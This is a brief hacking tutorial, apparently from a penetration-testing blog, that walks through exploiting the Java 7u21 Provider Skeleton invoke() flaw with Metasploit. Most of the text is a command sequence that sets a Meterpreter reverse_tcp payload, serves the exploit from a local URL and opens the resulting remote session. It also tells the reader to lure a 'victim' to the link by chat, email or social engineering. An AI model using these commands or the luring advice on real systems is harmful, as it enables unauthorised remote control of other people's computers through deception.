Kali Linux, Penetration Testing

Hack Windows, Linux or MAC PC using Java Applet Provider Skeleton Insecure Invoke Method

This module abuses the insecure invoke () method of the Provider Skeleton class that allows to call arbitrary static methods with user supplied arguments. The vulnerability affects Java version 7u21 and earlier.

Exploit Targets

Windows PC

Linux PC


Java 7 update 21


Attacker: Kali Linux

Victim PC: Windows 7

Open Kali Linux terminal type msfconsole

Now type use exploit/multi/browser/java_jre17_provider_skeleton

msf exploit (java_jre17_provider_skeleton)>set payload java/Meterpreter/reverse_tcp

msf exploit (java_jre17_provider_skeleton)>set lhost (IP of Local Host)

msf exploit (java_jre17_provider_skeleton)>set srvhost (This must be an address on the local machine)

msf exploit (java_jre17_provider_skeleton)>set uripath / (The Url to use for this exploit)

msf exploit (java_jre17_provider_skeleton)>exploit

Now an URL you should give to your victim

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID